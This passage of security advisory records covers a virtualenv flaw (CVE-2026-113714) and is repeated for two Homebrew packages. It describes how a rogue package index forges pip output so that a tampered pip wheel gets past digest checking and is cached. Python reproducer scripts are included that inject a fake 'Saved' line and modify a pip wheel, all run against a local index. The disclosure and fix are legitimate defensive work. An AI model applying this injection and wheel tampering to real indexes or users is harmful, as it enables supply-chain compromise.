127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-tox-CVE-2026-113714",
  "modified": "2026-10-29T21:45:01Z",
  "published": "2026-10-26T09:10:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.14.13",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "virtualenvwrapper",
        "purl": "pkg:brew/virtualenvwrapper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.1_3"
            },
            {
              "fixed": "6.1.1_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.14.13",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.14.13"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-virtualenvwrapper-CVE-2026-113714",
  "modified": "2026-10-29T22:51:11Z",
  "published": "2026-10-26T10:12:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}